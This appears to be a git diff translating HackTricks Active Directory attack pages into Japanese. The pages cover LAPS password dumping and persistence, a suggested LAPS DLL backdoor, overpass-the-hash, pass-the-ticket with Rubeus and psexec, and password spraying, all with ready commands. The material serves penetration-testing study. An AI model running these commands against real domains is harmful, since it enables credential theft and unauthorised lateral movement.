[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -**LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES. +**LAPS**を使用すると、ドメインに参加しているコンピュータの**ローカル管理者パスワード**(**ランダム化**、一意で**定期的に変更**される)を管理できます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されます。パスワードは、クライアントからサーバーへの転送時にKerberos v5とAESを使用して保護されます。 -When using LAPS, **2 new attributes** appear in the **computer** objects of the domain: **`ms-msc-AdmPwd`** and **`ms-mcs-AdmPwdExpirationTime`**_._ These attributes contains the **plain-text admin password and the expiration time**. Then, in a domain environment, it could be interesting to check **which users can read** these attributes. - -### Check if activated +LAPSを使用すると、ドメインの**コンピュータオブジェクト**には**2つの新しい属性**が表示されます:**`ms-msc-AdmPwd`**と**`ms-mcs-AdmPwdExpirationTime`**。これらの属性には、**平文の管理者パスワードと有効期限**が含まれています。そのため、ドメイン環境では、これらの属性を**読み取ることができるユーザー**を確認することが興味深いかもしれません。 +### アクティベートされているかどうかを確認する ```bash reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled @@ -32,13 +31,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, # Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property) Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname ``` +### LAPSパスワードのアクセス -### LAPS Password Access - -You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package can be used to convert this file into human-readable format. - -Moreover, the **native LAPS PowerShell cmdlets** can be used if they're installed on a machine we have access to: +`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`から**LAPSポリシーの生データ**をダウンロードし、[**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser)パッケージの**`Parse-PolFile`**を使用して、このファイルを人間が読める形式に変換することができます。 +さらに、**ネイティブのLAPS PowerShellコマンドレット**を使用することもできます(アクセス権を持つマシンにインストールされている場合)。 ```powershell Get-Command *AdmPwd* @@ -59,9 +56,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl # Read the password Get-AdmPwdPassword -ComputerName wkstn-2 | fl ``` - -**PowerView** can also be used to find out **who can read the password and read it**: - +**PowerView**を使用して、**パスワードを読み取ることができる人とその内容を調べる**こともできます。 ```powershell # Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl @@ -69,13 +64,11 @@ Get-AdmPwdPassword -ComputerName wkstn-2 | fl # Read the password Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd ``` - ### LAPSToolkit -The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS this with several functions.\ -One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This will show **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\ -An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords. - +[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)は、いくつかの機能を備えたLAPSの列挙を容易にします。\ +そのうちの1つは、**LAPSが有効なすべてのコンピューター**に対して**`ExtendedRights`**を解析することです。これにより、**LAPSパスワードを読むために特に委任されたグループ**が表示されます。これらのグループは、通常、保護されたグループのユーザーです。\ +ドメインにコンピューターを参加させた**アカウント**は、そのホストに対して`All Extended Rights`を受け取ります。この権限により、**アカウント**はパスワードを**読むことができます**。列挙により、ホスト上のLAPSパスワードを読むことができるユーザーアカウントが表示される場合があります。これにより、LAPSパスワードを読むことができる特定のADユーザーを**ターゲット**にすることができます。 ```powershell # Get groups that can read passwords Find-LAPSDelegatedGroups @@ -99,19 +92,18 @@ ComputerName Password Expiration ------------ -------- ---------- DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 ``` -## **Dumping LAPS Passwords With Crackmapexec** -If there is no access to a powershell you can abuse this privilege remotely through LDAP by using +## **Crackmapexecを使用してLAPSパスワードをダンプする** +PowerShellへのアクセスがない場合、LDAPを介してこの特権を乱用することができます。以下のコマンドを使用します。 ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` -This will dump all the passwords that the user can read, allowing you to get a better foothold with a different user. +これにより、ユーザーが読み取れるすべてのパスワードがダンプされ、異なるユーザーでより良い立場を得ることができます。 -## **LAPS Persistence** +## **LAPS持続性** -### **Expiration Date** - -Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**. +### **有効期限日** +管理者になると、パスワードを取得し、マシンがパスワードを更新しないようにするために、有効期限日を将来に設定することが可能です。 ```powershell # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime @@ -120,25 +112,24 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime ## It's needed SYSTEM on the computer Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} ``` - {% hint style="warning" %} -The password will still reset if an **admin** uses the **`Reset-AdmPwdPassword`** cmdlet; or if **Do not allow password expiration time longer than required by policy** is enabled in the LAPS GPO. +管理者が **`Reset-AdmPwdPassword`** コマンドレットを使用する場合、または LAPS GPO で **ポリシーで要求されるよりも長いパスワードの有効期限を許可しない** が有効になっている場合、パスワードはリセットされます。 {% endhint %} -### Backdoor +### バックドア -The original source code for LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**. +LAPSの元のソースコードは[ここ](https://github.com/GreyCorbel/admpwd)で見つけることができます。そのため、コード内にバックドアを設置することが可能です(たとえば、`Main/AdmPwd.PS/Main.cs` の `Get-AdmPwdPassword` メソッド内に)新しいパスワードを何らかの方法で**外部に漏洩させるか、どこかに保存する**ことができます。 -Then, just compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time). +その後、新しい `AdmPwd.PS.dll` をコンパイルし、マシンに `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` としてアップロードします(修正日時も変更します)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricks で **会社を宣伝**したいですか?または **PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index 81d8b7136..d377876e1 100644 --- a/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -1,53 +1,47 @@ -# Over Pass the Hash/Pass the Key +# オーバーパス・ザ・ハッシュ/パス・ザ・キー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Overpass The Hash/Pass The Key (PTK) +## オーバーパス・ザ・ハッシュ/パス・ザ・キー(PTK) -This attack aims to **use the user NTLM hash or AES keys to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol. - -In order to perform this attack, the **NTLM hash (or password) of the target user account is needed**. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to **access** any service or machine **where the user account has permissions**. +この攻撃は、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代わりに、ユーザーのNTLMハッシュまたはAESキーを使用してKerberosチケットを要求することを目的としています。したがって、これは特にNTLMプロトコルが無効化され、認証プロトコルとしてKerberosのみが許可されているネットワークで役立ちます。 +この攻撃を実行するためには、対象のユーザーアカウントのNTLMハッシュ(またはパスワード)が必要です。したがって、ユーザーハッシュが取得されると、そのアカウントのTGTを要求することができます。最終的には、ユーザーアカウントに権限がある任意のサービスやマシンに**アクセス**することが可能です。 ``` python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass ``` +次のようにして、`-aesKey [AESキー]`を指定して**AES256**を使用することができます。\ +また、smbexec.pyやwmiexec.pyなどの他のツールでもチケットを使用することができます。 -You can **specify** `-aesKey [AES key]` to specify to use **AES256**.\ -You can also use the ticket with other tools like: as smbexec.py or wmiexec.py - -Possible problems: - -* _PyAsn1Error(‘NamedTypes can cast only scalar values’,)_ : Resolved by updating impacket to the lastest version. -* _KDC can’t found the name_ : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC. +問題の可能性: +* _PyAsn1Error('NamedTypes can cast only scalar values')_:impacketを最新バージョンに更新することで解決します。 +* _KDCが名前を見つけられない_:Kerberos KDCに認識されなかったため、IPアドレスの代わりにホスト名を使用することで解決します。 ``` .\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` - -This kind of attack is similar to **Pass the Key**, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner. +この種の攻撃は**Pass the Key**に似ていますが、チケットを要求するためにハッシュを使用する代わりに、チケット自体が盗まれ、所有者として認証されます。 {% hint style="warning" %} -When a TGT is requested, event `4768: A Kerberos authentication ticket (TGT) was requested` is generated. You can see from the output above that the KeyType is **RC4-HMAC** (0x17), but the default type for Windows is now **AES256** (0x12). +TGTが要求されると、イベント`4768: A Kerberos authentication ticket (TGT) was requested`が生成されます。上記の出力からわかるように、KeyTypeは**RC4-HMAC**(0x17)ですが、Windowsのデフォルトタイプは現在**AES256**(0x12)です。 {% endhint %} - ```bash .\Rubeus.exe asktgt /user: /domain: /aes256:HASH /nowrap /opsec ``` - -## References +## 参考文献 * [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) @@ -55,10 +49,10 @@ When a TGT is requested, event `4768: A Kerberos authentication ticket (TGT) was ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/active-directory-methodology/pass-the-ticket.md b/windows-hardening/active-directory-methodology/pass-the-ticket.md index e07c751fd..40a85ef9e 100644 --- a/windows-hardening/active-directory-methodology/pass-the-ticket.md +++ b/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -1,56 +1,52 @@ -# Pass the Ticket +# チケットのパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Pass The Ticket (PTT) +## チケットのパス(PTT) -This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner. +この攻撃は、パスキーのようなものですが、ハッシュを使用してチケットを要求する代わりに、チケット自体が盗まれ、所有者として認証に使用されます。 -**Read**: +**読む**: -* [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) -* [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) +* [Windowsからのチケットの収集](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) +* [Linuxからのチケットの収集](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) -### **Swaping Linux and Windows tickets between platforms** - -The [ticket\_converter](https://github.com/Zer1t0/ticket\_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: +### **LinuxとWindowsのチケットをプラットフォーム間で交換する** +[ticket\_converter](https://github.com/Zer1t0/ticket\_converter)スクリプト。必要なパラメータは現在のチケットと出力ファイルのみで、入力チケットファイルの形式を自動的に検出して変換します。例えば: ``` root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` +[Kekeo](https://github.com/gentilkiwi/kekeo)は、チケットをWindowsに変換するためのツールです。このツールは、ASN1ライブラリのライセンスが必要なため、チェックされていませんが、言及する価値があると思います。 -[Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning. - -### Pass The Ticket Attack +### パス・ザ・チケット攻撃 {% code title="Linux" %} ```bash -export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK +export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass ``` -{% endcode %} - {% code title="Windows" %} ```bash #Load the ticket in memory using mimikatz or Rubeus @@ -61,15 +57,15 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket ``` {% endcode %} -## References +## 参考文献 * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -77,10 +73,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/active-directory-methodology/password-spraying.md b/windows-hardening/active-directory-methodology/password-spraying.md index bf3b173cd..cbb6f6dca 100644 --- a/windows-hardening/active-directory-methodology/password-spraying.md +++ b/windows-hardening/active-directory-methodology/password-spraying.md @@ -1,37 +1,36 @@ -# Password Spraying +# パスワードスプレー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## **Password Spraying** +## **パスワードスプレー** -Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\ -By **default** the **minimum** **password** **length** is **7**. +いくつかの**有効なユーザー名**を見つけたら、見つかった各ユーザーに対して最も**一般的なパスワード**(環境のパスワードポリシーを考慮してください)を試すことができます。\ +**デフォルト**では、**パスワード**の**最小長**は**7**です。 -Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +一覧の一般的なユーザー名も役立つ場合があります:[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10). +注意:**複数の間違ったパスワードを試すと、いくつかのアカウントがロックアウトされる可能性があります**(デフォルトでは10回以上)。 -### Get password policy - -If you have some user credentials or a shell as a domain user you can **get the password policy with**: +### パスワードポリシーの取得 +ユーザーの資格情報またはドメインユーザーとしてのシェルがある場合、次のコマンドで**パスワードポリシーを取得**できます: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P -rpcclient -U "" -N 10.10.10.10; +rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength 